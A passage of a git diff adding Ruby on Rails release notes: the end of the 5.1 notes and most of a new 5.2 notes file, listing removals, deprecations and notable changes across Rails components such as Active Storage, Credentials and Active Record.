+*   Removed deprecated `conditions` parameter from `#destroy_all`.
+    ([Commit](https://github.com/rails/rails/commit/d31a6d1384cd740c8518d0bf695b550d2a3a4e9b))
+
+*   Removed deprecated `conditions` parameter from `#delete_all`.
+    ([Commit](https://github.com/rails/rails/pull/27503/commits/e7381d289e4f8751dcec9553dcb4d32153bd922b))
+
+*   Removed deprecated method `#load_schema_for` in favor of `#load_schema`.
+    ([Commit](https://github.com/rails/rails/commit/419e06b56c3b0229f0c72d3e4cdf59d34d8e5545))
+
+*   Removed deprecated `#raise_in_transactional_callbacks` configuration.
+    ([Commit](https://github.com/rails/rails/commit/8029f779b8a1dd9848fee0b7967c2e0849bf6e07))
+
+*   Removed deprecated `#use_transactional_fixtures` configuration.
+    ([Commit](https://github.com/rails/rails/commit/3955218dc163f61c932ee80af525e7cd440514b3))
+
+### Deprecations
+
+*   Deprecated `error_on_ignored_order_or_limit` flag in favor of
+    `error_on_ignored_order`.
+    ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+*   Deprecated `sanitize_conditions` in favor of `sanitize_sql`.
+    ([Pull Request](https://github.com/rails/rails/pull/25999))
+
+*   Deprecated `supports_migrations?` on connection adapters.
+    ([Pull Request](https://github.com/rails/rails/pull/28172))
+
+*   Deprecated `Migrator.schema_migrations_table_name`, use `SchemaMigration.table_name` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/28351))
+
+*   Deprecated using `#quoted_id` in quoting and type casting.
+    ([Pull Request](https://github.com/rails/rails/pull/27962))
+
+*   Deprecated passing `default` argument to `#index_name_exists?`.
+    ([Pull Request](https://github.com/rails/rails/pull/26930))
+
+### Notable changes
+
+*   Change Default Primary Keys to BIGINT.
+    ([Pull Request](https://github.com/rails/rails/pull/26266))
+
+*   Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+.
+    ([Commit](https://github.com/rails/rails/commit/65bf1c60053e727835e06392d27a2fb49665484c))
+
+*   Added support for limits in batch processing.
+    ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+*   Transactional tests now wrap all Active Record connections in database
+    transactions.
+    ([Pull Request](https://github.com/rails/rails/pull/28726))
+
+*   Skipped comments in the output of `mysqldump` command by default.
+    ([Pull Request](https://github.com/rails/rails/pull/23301))
+
+*   Fixed `ActiveRecord::Relation#count` to use Ruby's `Enumerable#count` for counting
+    records when a block is passed as argument instead of silently ignoring the
+    passed block.
+    ([Pull Request](https://github.com/rails/rails/pull/24203))
+
+*   Pass `"-v ON_ERROR_STOP=1"` flag with `psql` command to not suppress SQL errors.
+    ([Pull Request](https://github.com/rails/rails/pull/24773))
+
+*   Add `ActiveRecord::Base.connection_pool.stat`.
+    ([Pull Request](https://github.com/rails/rails/pull/26988))
+
+*   Inheriting directly from `ActiveRecord::Migration` raises an error.
+    Specify the Rails version for which the migration was written for.
+    ([Commit](https://github.com/rails/rails/commit/249f71a22ab21c03915da5606a063d321f04d4d3))
+
+*   An error is raised when `through` association has ambiguous reflection name.
+    ([Commit](https://github.com/rails/rails/commit/0944182ad7ed70d99b078b22426cbf844edd3f61))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Removed deprecated methods in `ActiveModel::Errors`.
+    ([commit](https://github.com/rails/rails/commit/9de6457ab0767ebab7f2c8bc583420fda072e2bd))
+
+*   Removed deprecated `:tokenizer` option in the length validator.
+    ([commit](https://github.com/rails/rails/commit/6a78e0ecd6122a6b1be9a95e6c4e21e10e429513))
+
+*   Remove deprecated behavior that halts callbacks when the return value is false.
+    ([commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Notable changes
+
+*   The original string assigned to a model attribute is no longer incorrectly
+    frozen.
+    ([Pull Request](https://github.com/rails/rails/pull/28729))
+
+Active Job
+-----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Removed deprecated support to passing the adapter class to `.queue_adapter`.
+    ([commit](https://github.com/rails/rails/commit/d1fc0a5eb286600abf8505516897b96c2f1ef3f6))
+
+*   Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`.
+    ([commit](https://github.com/rails/rails/commit/d861a1fcf8401a173876489d8cee1ede1cecde3b))
+
+### Notable changes
+
+*   Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`.
+    ([Pull Request](https://github.com/rails/rails/pull/25991))
+
+*   Yield the job instance so you have access to things like `job.arguments` on
+    the custom logic after retries fail.
+    ([commit](https://github.com/rails/rails/commit/a1e4c197cb12fef66530a2edfaeda75566088d1f))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Removed the `ActiveSupport::Concurrency::Latch` class.
+    ([Commit](https://github.com/rails/rails/commit/0d7bd2031b4054fbdeab0a00dd58b1b08fb7fea6))
+
+*   Removed `halt_callback_chains_on_return_false`.
+    ([Commit](https://github.com/rails/rails/commit/4e63ce53fc25c3bc15c5ebf54bab54fa847ee02a))
+
+*   Removed deprecated behavior that halts callbacks when the return is false.
+    ([Commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Deprecations
+
+*   The top level `HashWithIndifferentAccess` class has been softly deprecated
+    in favor of the `ActiveSupport::HashWithIndifferentAccess` one.
+    ([Pull Request](https://github.com/rails/rails/pull/28157))
+
+*   Deprecated passing string to `:if` and `:unless` conditional options on `set_callback` and `skip_callback`.
+    ([Commit](https://github.com/rails/rails/commit/0952552))
+
+### Notable changes
+
+*   Fixed duration parsing and traveling to make it consistent across DST changes.
+    ([Commit](https://github.com/rails/rails/commit/8931916f4a1c1d8e70c06063ba63928c5c7eab1e),
+    [Pull Request](https://github.com/rails/rails/pull/26597))
+
+*   Updated Unicode to version 9.0.0.
+    ([Pull Request](https://github.com/rails/rails/pull/27822))
+
+*   Add Duration#before and #after as aliases for #ago and #since.
+    ([Pull Request](https://github.com/rails/rails/pull/27721))
+
+*   Added `Module#delegate_missing_to` to delegate method calls not
+    defined for the current object to a proxy object.
+    ([Pull Request](https://github.com/rails/rails/pull/23930))
+
+*   Added `Date#all_day` which returns a range representing the whole day
+    of the current date & time.
+    ([Pull Request](https://github.com/rails/rails/pull/24930))
+
+*   Introduced the `assert_changes` and `assert_no_changes` methods for tests.
+    ([Pull Request](https://github.com/rails/rails/pull/25393))
+
+*   The `travel` and `travel_to` methods now raise on nested calls.
+    ([Pull Request](https://github.com/rails/rails/pull/24890))
+
+*   Update `DateTime#change` to support usec and nsec.
+    ([Pull Request](https://github.com/rails/rails/pull/28242))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/5-1-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/5-1-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-1-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/5-1-stable/activejob/CHANGELOG.md
diff --git a/guides/source/5_2_release_notes.md b/guides/source/5_2_release_notes.md
new file mode 100644
index 0000000000000..fc9927e69653b
--- /dev/null
+++ b/guides/source/5_2_release_notes.md
@@ -0,0 +1,865 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 5.2 Release Notes
+===============================
+
+Highlights in Rails 5.2:
+
+* Active Storage
+* Redis Cache Store
+* HTTP/2 Early Hints
+* Credentials
+* Content Security Policy
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-2-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.1 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.2. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-1-to-rails-5-2)
+guide.
+
+Major Features
+--------------
+
+### Active Storage
+
+[Pull Request](https://github.com/rails/rails/pull/30020)
+
+[Active Storage](https://github.com/rails/rails/tree/5-2-stable/activestorage)
+facilitates uploading files to a cloud storage service like
+Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching
+those files to Active Record objects. It comes with a local disk-based service
+for development and testing and supports mirroring files to subordinate
+services for backups and migrations.
+You can read more about Active Storage in the
+[Active Storage Overview](active_storage_overview.html) guide.
+
+### Redis Cache Store
+
+[Pull Request](https://github.com/rails/rails/pull/31134)
+
+Rails 5.2 ships with built-in Redis cache store.
+You can read more about this in the
+[Caching with Rails: An Overview](caching_with_rails.html#activesupport-cache-rediscachestore)
+guide.
+
+### HTTP/2 Early Hints
+
+[Pull Request](https://github.com/rails/rails/pull/30744)
+
+Rails 5.2 supports [HTTP/2 Early Hints](https://tools.ietf.org/html/rfc8297).
+To start the server with Early Hints enabled pass `--early-hints`
+to `bin/rails server`.
+
+### Credentials
+
+[Pull Request](https://github.com/rails/rails/pull/30067)
+
+Added `config/credentials.yml.enc` file to store production app secrets.
+It allows saving any authentication credentials for third-party services
+directly in repository encrypted with a key in the `config/master.key` file or
+the `RAILS_MASTER_KEY` environment variable.
+This will eventually replace `Rails.application.secrets` and the encrypted
+secrets introduced in Rails 5.1.
+Furthermore, Rails 5.2
+[opens API underlying Credentials](https://github.com/rails/rails/pull/30940),
+so you can easily deal with other encrypted configurations, keys, and files.
+You can read more about this in the
+[Securing Rails Applications](security.html#custom-credentials)
+guide.
+
+### Content Security Policy
+
+[Pull Request](https://github.com/rails/rails/pull/31162)
+
+Rails 5.2 ships with a new DSL that allows you to configure a
+[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+for your application. You can configure a global default policy and then
+override it on a per-resource basis and even use lambdas to inject per-request
+values into the header such as account subdomains in a multi-tenant application.
+You can read more about this in the
+[Securing Rails Applications](security.html#content-security-policy)
+guide.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Deprecations
+
+*   Deprecate `capify!` method in generators and templates.
+    ([Pull Request](https://github.com/rails/rails/pull/29493))
+
+*   Passing the environment's name as a regular argument to the
+    `rails dbconsole` and `rails console` commands is deprecated.
+    The `-e` option should be used instead.
+    ([Commit](https://github.com/rails/rails/commit/48b249927375465a7102acc71c2dfb8d49af8309))
+
+*   Deprecate using subclass of `Rails::Application` to start the Rails server.
+    ([Pull Request](https://github.com/rails/rails/pull/30127))
+
+*   Deprecate `after_bundle` callback in Rails plugin templates.
+    ([Pull Request](https://github.com/rails/rails/pull/29446))
+
+### Notable changes
+
+*   Added a shared section to `config/database.yml` that will be loaded for
+    all environments.
+    ([Pull Request](https://github.com/rails/rails/pull/28896))
+
+*   Add `railtie.rb` to the plugin generator.
+    ([Pull Request](https://github.com/rails/rails/pull/29576))
+
+*   Clear screenshot files in `tmp:clear` task.
+    ([Pull Request](https://github.com/rails/rails/pull/29534))
+
+*   Skip unused components when running `bin/rails app:update`.
+    If the initial app generation skipped Action Cable, Active Record, etc.,
+    the update task honors those skips too.
+    ([Pull Request](https://github.com/rails/rails/pull/29645))
+
+*   Allow passing a custom connection name to the `rails dbconsole`
+    command when using a 3-level database configuration.
+    Example: `bin/rails dbconsole -c replica`.
+    ([Commit](https://github.com/rails/rails/commit/1acd9a6464668d4d54ab30d016829f60b70dbbeb))
+
+*   Properly expand shortcuts for environment's name running the `console`
+    and `dbconsole` commands.
+    ([Commit](https://github.com/rails/rails/commit/3777701f1380f3814bd5313b225586dec64d4104))
+
+*   Add `bootsnap` to default `Gemfile`.
+    ([Pull Request](https://github.com/rails/rails/pull/29313))
+
+*   Support `-` as a platform-agnostic way to run a script from stdin with
+    `rails runner`
+    ([Pull Request](https://github.com/rails/rails/pull/26343))
+
+*   Add `ruby x.x.x` version to `Gemfile` and create `.ruby-version`
+    root file containing the current Ruby version when new Rails applications
+    are created.
+    ([Pull Request](https://github.com/rails/rails/pull/30016))
+
+*   Add `--skip-action-cable` option to the plugin generator.
+    ([Pull Request](https://github.com/rails/rails/pull/30164))
+
+*   Add `git_source` to `Gemfile` for plugin generator.
+    ([Pull Request](https://github.com/rails/rails/pull/30110))
+
+*   Skip unused components when running `bin/rails` in Rails plugin.
+    ([Commit](https://github.com/rails/rails/commit/62499cb6e088c3bc32a9396322c7473a17a28640))
+
+*   Optimize indentation for generator actions.
+    ([Pull Request](https://github.com/rails/rails/pull/30166))
+
+*   Optimize routes indentation.
+    ([Pull Request](https://github.com/rails/rails/pull/30241))
+
+*   Add `--skip-yarn` option to the plugin generator.
+    ([Pull Request](https://github.com/rails/rails/pull/30238))
+
+*   Support multiple versions arguments for `gem` method of Generators.
+    ([Pull Request](https://github.com/rails/rails/pull/30323))
+
+*   Derive `secret_key_base` from the app name in development and test
+    environments.
+    ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+*   Add `mini_magick` to default `Gemfile` as comment.
+    ([Pull Request](https://github.com/rails/rails/pull/30633))
+
+*   `rails new` and `rails plugin new` get `Active Storage` by default.
+    Add ability to skip `Active Storage` with `--skip-active-storage`
+    and do so automatically when `--skip-active-record` is used.
+    ([Pull Request](https://github.com/rails/rails/pull/30101))
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+*   Removed deprecated evented redis adapter.
+    ([Commit](https://github.com/rails/rails/commit/48766e32d31651606b9f68a16015ad05c3b0de2c))
+
+### Notable changes
+
+*   Add support for `host`, `port`, `db` and `password` options in cable.yml
+    ([Pull Request](https://github.com/rails/rails/pull/29528))
+
+*   Hash long stream identifiers when using PostgreSQL adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/29297))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActionController::ParamsParser::ParseError`.
+    ([Commit](https://github.com/rails/rails/commit/e16c765ac6dcff068ff2e5554d69ff345c003de1))
+
+### Deprecations
+
+*   Deprecate `#success?`, `#missing?` and `#error?` aliases of
+    `ActionDispatch::TestResponse`.
+    ([Pull Request](https://github.com/rails/rails/pull/30104))
+
+### Notable changes
+
+*   Add support for recyclable cache keys with fragment caching.
+    ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+*   Change the cache key format for fragments to make it easier to debug key
+    churn.
+    ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+*   AEAD encrypted cookies and sessions with GCM.
+    ([Pull Request](https://github.com/rails/rails/pull/28132))
+
+*   Protect from forgery by default.
+    ([Pull Request](https://github.com/rails/rails/pull/29742))
+
+*   Enforce signed/encrypted cookie expiry server side.
+    ([Pull Request](https://github.com/rails/rails/pull/30121))
+
+*   Cookies `:expires` option supports `ActiveSupport::Duration` object.
+    ([Pull Request](https://github.com/rails/rails/pull/30121))
+
+*   Use Capybara registered `:puma` server config.
+    ([Pull Request](https://github.com/rails/rails/pull/30638))
+
+*   Simplify cookies middleware with key rotation support.
+    ([Pull Request](https://github.com/rails/rails/pull/29716))
+
+*   Add ability to enable Early Hints for HTTP/2.
+    ([Pull Request](https://github.com/rails/rails/pull/30744))
+
+*   Add headless chrome support to System Tests.
+    ([Pull Request](https://github.com/rails/rails/pull/30876))
+
+*   Add `:allow_other_host` option to `redirect_back` method.
+    ([Pull Request](https://github.com/rails/rails/pull/30850))
+
+*   Make `assert_recognizes` to traverse mounted engines.
+    ([Pull Request](https://github.com/rails/rails/pull/22435))
+
+*   Add DSL for configuring Content-Security-Policy header.
+    ([Pull Request](https://github.com/rails/rails/pull/31162),
+    [Commit](https://github.com/rails/rails/commit/619b1b6353a65e1635d10b8f8c6630723a5a6f1a),
+    [Commit](https://github.com/rails/rails/commit/4ec8bf68ff92f35e79232fbd605012ce1f4e1e6e))
+
+*   Register most popular audio/video/font MIME types supported by modern
+    browsers.
+    ([Pull Request](https://github.com/rails/rails/pull/31251))
+
+*   Changed the default system test screenshot output from `inline` to `simple`.
+    ([Commit](https://github.com/rails/rails/commit/9d6e288ee96d6241f864dbf90211c37b14a57632))
+
+*   Add headless firefox support to System Tests.
+    ([Pull Request](https://github.com/rails/rails/pull/31365))
+
+*   Add secure `X-Download-Options` and `X-Permitted-Cross-Domain-Policies` to
+    default headers set.
+    ([Commit](https://github.com/rails/rails/commit/5d7b70f4336d42eabfc403e9f6efceb88b3eff44))
+
+*   Changed the system tests to set Puma as default server only when the
+    user haven't specified manually another server.
+    ([Pull Request](https://github.com/rails/rails/pull/31384))
+
+*   Add `Referrer-Policy` header to default headers set.
+    ([Commit](https://github.com/rails/rails/commit/428939be9f954d39b0c41bc53d85d0d106b9d1a1))
+
+*   Matches behavior of `Hash#each` in `ActionController::Parameters#each`.
+    ([Pull Request](https://github.com/rails/rails/pull/27790))
+
+*   Add support for automatic nonce generation for Rails UJS.
+    ([Commit](https://github.com/rails/rails/commit/b2f0a8945956cd92dec71ec4e44715d764990a49))
+
+*   Update the default HSTS max-age value to 31536000 seconds (1 year)
+    to meet the minimum max-age requirement for https://hstspreload.org/.
+    ([Commit](https://github.com/rails/rails/commit/30b5f469a1d30c60d1fb0605e84c50568ff7ed37))
+
+*   Add alias method `to_hash` to `to_h` for `cookies`.
+    Add alias method `to_h` to `to_hash` for `session`.
+    ([Commit](https://github.com/rails/rails/commit/50a62499e41dfffc2903d468e8b47acebaf9b500))
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated Erubis ERB handler.
+    ([Commit](https://github.com/rails/rails/commit/7de7f12fd140a60134defe7dc55b5a20b2372d06))
+
+### Deprecations
+
+*   Deprecate `image_alt` helper which used to add default alt text to
+    the images generated by `image_tag`.
+    ([Pull Request](https://github.com/rails/rails/pull/30213))
+
+### Notable changes
+
+*   Add `:json` type to `auto_discovery_link_tag` to support
+    [JSON Feeds](https://jsonfeed.org/version/1).
+    ([Pull Request](https://github.com/rails/rails/pull/29158))
+
+*   Add `srcset` option to `image_tag` helper.
+    ([Pull Request](https://github.com/rails/rails/pull/29349))
+
+*   Fix issues with `field_error_proc` wrapping `optgroup` and
+    select divider `option`.
+    ([Pull Request](https://github.com/rails/rails/pull/31088))
+
+*   Change `form_with` to generate ids by default.
+    ([Commit](https://github.com/rails/rails/commit/260d6f112a0ffdbe03e6f5051504cb441c1e94cd))
+
+*   Add `preload_link_tag` helper.
+    ([Pull Request](https://github.com/rails/rails/pull/31251))
+
+*   Allow the use of callable objects as group methods for grouped selects.
+    ([Pull Request](https://github.com/rails/rails/pull/31578))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Notable changes
+
+*   Allow Action Mailer classes to configure their delivery job.
+    ([Pull Request](https://github.com/rails/rails/pull/29457))
+
+*   Add `assert_enqueued_email_with` test helper.
+    ([Pull Request](https://github.com/rails/rails/pull/30695))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `#migration_keys`.
+    ([Pull Request](https://github.com/rails/rails/pull/30337))
+
+*   Remove deprecated support to `quoted_id` when typecasting
+    an Active Record object.
+    ([Commit](https://github.com/rails/rails/commit/82472b3922bda2f337a79cef961b4760d04f9689))
+
+*   Remove deprecated argument `default` from `index_name_exists?`.
+    ([Commit](https://github.com/rails/rails/commit/8f5b34df81175e30f68879479243fbce966122d7))
+
+*   Remove deprecated support to passing a class to `:class_name`
+    on associations.
+    ([Commit](https://github.com/rails/rails/commit/e65aff70696be52b46ebe57207ebd8bb2cfcdbb6))
+
+*   Remove deprecated methods `initialize_schema_migrations_table` and
+    `initialize_internal_metadata_table`.
+    ([Commit](https://github.com/rails/rails/commit/c9660b5777707658c414b430753029cd9bc39934))
+
+*   Remove deprecated method `supports_migrations?`.
+    ([Commit](https://github.com/rails/rails/commit/9438c144b1893f2a59ec0924afe4d46bd8d5ffdd))
+
+*   Remove deprecated method `supports_primary_key?`.
+    ([Commit](https://github.com/rails/rails/commit/c56ff22fc6e97df4656ddc22909d9bf8b0c2cbb1))
+
+*   Remove deprecated method
+    `ActiveRecord::Migrator.schema_migrations_table_name`.
+    ([Commit](https://github.com/rails/rails/commit/7df6e3f3cbdea9a0460ddbab445c81fbb1cfd012))
+
+*   Remove deprecated argument `name` from `#indexes`.
+    ([Commit](https://github.com/rails/rails/commit/d6b779ecebe57f6629352c34bfd6c442ac8fba0e))
+
+*   Remove deprecated arguments from `#verify!`.
+    ([Commit](https://github.com/rails/rails/commit/9c6ee1bed0292fc32c23dc1c68951ae64fc510be))
+
+*   Remove deprecated configuration `.error_on_ignored_order_or_limit`.
+    ([Commit](https://github.com/rails/rails/commit/e1066f450d1a99c9a0b4d786b202e2ca82a4c3b3))
+
+*   Remove deprecated method `#scope_chain`.
+    ([Commit](https://github.com/rails/rails/commit/ef7784752c5c5efbe23f62d2bbcc62d4fd8aacab))
+
+*   Remove deprecated method `#sanitize_conditions`.
+    ([Commit](https://github.com/rails/rails/commit/8f5413b896099f80ef46a97819fe47a820417bc2))
+
+### Deprecations
+
+*   Deprecate `supports_statement_cache?`.
+    ([Pull Request](https://github.com/rails/rails/pull/28938))
+
+*   Deprecate passing arguments and block at the same time to
+    `count` and `sum` in `ActiveRecord::Calculations`.
+    ([Pull Request](https://github.com/rails/rails/pull/29262))
+
+*   Deprecate delegating to `arel` in `Relation`.
+    ([Pull Request](https://github.com/rails/rails/pull/29619))
+
+*   Deprecate `set_state` method in `TransactionState`.
+    ([Commit](https://github.com/rails/rails/commit/608ebccf8f6314c945444b400a37c2d07f21b253))
+
+*   Deprecate `expand_hash_conditions_for_aggregates` without replacement.
+    ([Commit](https://github.com/rails/rails/commit/7ae26885d96daee3809d0bd50b1a440c2f5ffb69))
+
+### Notable changes
+
+*   When calling the dynamic fixture accessor method with no arguments, it now
+    returns all fixtures of this type. Previously this method always returned
+    an empty array.
+    ([Pull Request](https://github.com/rails/rails/pull/28692))
+
+*   Fix inconsistency with changed attributes when overriding
+    Active Record attribute reader.
+    ([Pull Request](https://github.com/rails/rails/pull/28661))
+
+*   Support Descending Indexes for MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/28773))
+
+*   Fix `bin/rails db:forward` first migration.
+    ([Commit](https://github.com/rails/rails/commit/b77d2aa0c336492ba33cbfade4964ba0eda3ef84))
+
+*   Raise error `UnknownMigrationVersionError` on the movement of migrations
+    when the current migration does not exist.
+    ([Commit](https://github.com/rails/rails/commit/bb9d6eb094f29bb94ef1f26aa44f145f17b973fe))
+
+*   Respect `SchemaDumper.ignore_tables` in rake tasks for
+    databases structure dump.
+    ([Pull Request](https://github.com/rails/rails/pull/29077))
+
+*   Add `ActiveRecord::Base#cache_version` to support recyclable cache keys via
+    the new versioned entries in `ActiveSupport::Cache`. This also means that
+    `ActiveRecord::Base#cache_key` will now return a stable key that
+    does not include a timestamp any more.
+    ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+*   Prevent creation of bind param if casted value is nil.
+    ([Pull Request](https://github.com/rails/rails/pull/29282))
+
+*   Use bulk INSERT to insert fixtures for better performance.
+    ([Pull Request](https://github.com/rails/rails/pull/29504))
+
+*   Merging two relations representing nested joins no longer transforms
+    the joins of the merged relation into LEFT OUTER JOIN.
+    ([Pull Request](https://github.com/rails/rails/pull/27063))
+
+*   Fix transactions to apply state to child transactions.
+    Previously, if you had a nested transaction and the outer transaction was
+    rolledback, the record from the inner transaction would still be marked
+    as persisted. It was fixed by applying the state of the parent
+    transaction to the child transaction when the parent transaction is
+    rolledback. This will correctly mark records from the inner transaction
+    as not persisted.
+    ([Commit](https://github.com/rails/rails/commit/0237da287eb4c507d10a0c6d94150093acc52b03))
+
+*   Fix eager loading/preloading association with scope including joins.
+    ([Pull Request](https://github.com/rails/rails/pull/29413))
+
+*   Prevent errors raised by `sql.active_record` notification subscribers
+    from being converted into `ActiveRecord::StatementInvalid` exceptions.
+    ([Pull Request](https://github.com/rails/rails/pull/29692))
+
+*   Skip query caching when working with batches of records
+    (`find_each`, `find_in_batches`, `in_batches`).
+    ([Commit](https://github.com/rails/rails/commit/b83852e6eed5789b23b13bac40228e87e8822b4d))
+
+*   Change sqlite3 boolean serialization to use 1 and 0.
+    SQLite natively recognizes 1 and 0 as true and false, but does not natively
+    recognize 't' and 'f' as was previously serialized.
+    ([Pull Request](https://github.com/rails/rails/pull/29699))
+
+*   Values constructed using multi-parameter assignment will now use the
+    post-type-cast value for rendering in single-field form inputs.
+    ([Commit](https://github.com/rails/rails/commit/1519e976b224871c7f7dd476351930d5d0d7faf6))
+
+*   `ApplicationRecord` is no longer generated when generating models. If you
+    need to generate it, it can be created with `rails g application_record`.
+    ([Pull Request](https://github.com/rails/rails/pull/29916))
+
+*   `Relation#or` now accepts two relations who have different values for
+    `references` only, as `references` can be implicitly called by `where`.
+    ([Commit](https://github.com/rails/rails/commit/ea6139101ccaf8be03b536b1293a9f36bc12f2f7))
+
+*   When using `Relation#or`, extract the common conditions and
+    put them before the OR condition.
+    ([Pull Request](https://github.com/rails/rails/pull/29950))
+
+*   Add `binary` fixture helper method.
+    ([Pull Request](https://github.com/rails/rails/pull/30073))
+
+*   Automatically guess the inverse associations for STI.
+    ([Pull Request](https://github.com/rails/rails/pull/23425))
+
+*   Add new error class `LockWaitTimeout` which will be raised
+    when lock wait timeout exceeded.
+    ([Pull Request](https://github.com/rails/rails/pull/30360))
+
+*   Update payload names for `sql.active_record` instrumentation to be
+    more descriptive.
+    ([Pull Request](https://github.com/rails/rails/pull/30619))
+
+*   Use given algorithm while removing index from database.
+    ([Pull Request](https://github.com/rails/rails/pull/24199))
+
+*   Passing a `Set` to `Relation#where` now behaves the same as passing
+    an array.
+    ([Commit](https://github.com/rails/rails/commit/9cf7e3494f5bd34f1382c1ff4ea3d811a4972ae2))
+
+*   PostgreSQL `tsrange` now preserves subsecond precision.
+    ([Pull Request](https://github.com/rails/rails/pull/30725))
+
+*   Raises when calling `lock!` in a dirty record.
+    ([Commit](https://github.com/rails/rails/commit/63cf15877bae859ff7b4ebaf05186f3ca79c1863))
+
+*   Fixed a bug where column orders for an index weren't written to
+    `db/schema.rb` when using the SQLite adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/30970))
+
+*   Fix `bin/rails db:migrate` with specified `VERSION`.
+    `bin/rails db:migrate` with empty VERSION behaves as without `VERSION`.
+    Check a format of `VERSION`: Allow a migration version number
+    or name of a migration file. Raise error if format of `VERSION` is invalid.
+    Raise error if target migration doesn't exist.
+    ([Pull Request](https://github.com/rails/rails/pull/30714))
+
+*   Add new error class `StatementTimeout` which will be raised
+    when statement timeout exceeded.
+    ([Pull Request](https://github.com/rails/rails/pull/31129))
+
+*   `update_all` will now pass its values to `Type#cast` before passing them to
+    `Type#serialize`. This means that `update_all(foo: 'true')` will properly
+    persist a boolean.
+    ([Commit](https://github.com/rails/rails/commit/68fe6b08ee72cc47263e0d2c9ff07f75c4b42761))
+
+*   Require raw SQL fragments to be explicitly marked when used in
+    relation query methods.
+    ([Commit](https://github.com/rails/rails/commit/a1ee43d2170dd6adf5a9f390df2b1dde45018a48),
+    [Commit](https://github.com/rails/rails/commit/e4a921a75f8702a7dbaf41e31130fe884dea93f9))
+
+*   Add `#up_only` to database migrations for code that is only relevant when
+    migrating up, e.g. populating a new column.
+    ([Pull Request](https://github.com/rails/rails/pull/31082))
+
+*   Add new error class `QueryCanceled` which will be raised
+    when canceling statement due to user request.
+    ([Pull Request](https://github.com/rails/rails/pull/31235))
+
+*   Don't allow scopes to be defined which conflict with instance methods
+    on `Relation`.
+    ([Pull Request](https://github.com/rails/rails/pull/31179))
+
+*   Add support for PostgreSQL operator classes to `add_index`.
+    ([Pull Request](https://github.com/rails/rails/pull/19090))
+
+*   Log database query callers.
+    ([Pull Request](https://github.com/rails/rails/pull/26815),
+    [Pull Request](https://github.com/rails/rails/pull/31519),
+    [Pull Request](https://github.com/rails/rails/pull/31690))
+
+*   Undefine attribute methods on descendants when resetting column information.
+    ([Pull Request](https://github.com/rails/rails/pull/31475))
+
+*   Using subselect for `delete_all` with `limit` or `offset`.
+    ([Commit](https://github.com/rails/rails/commit/9e7260da1bdc0770cf4ac547120c85ab93ff3d48))
+
+*   Fixed inconsistency with `first(n)` when used with `limit()`.
+    The `first(n)` finder now respects the `limit()`, making it consistent
+    with `relation.to_a.first(n)`, and also with the behavior of `last(n)`.
+    ([Pull Request](https://github.com/rails/rails/pull/27597))
+
+*   Fix nested `has_many :through` associations on unpersisted parent instances.
+    ([Commit](https://github.com/rails/rails/commit/027f865fc8b262d9ba3ee51da3483e94a5489b66))
+
+*   Take into account association conditions when deleting through records.
+    ([Commit](https://github.com/rails/rails/commit/ae48c65e411e01c1045056562319666384bb1b63))
+
+*   Don't allow destroyed object mutation after `save` or `save!` is called.
+    ([Commit](https://github.com/rails/rails/commit/562dd0494a90d9d47849f052e8913f0050f3e494))
+
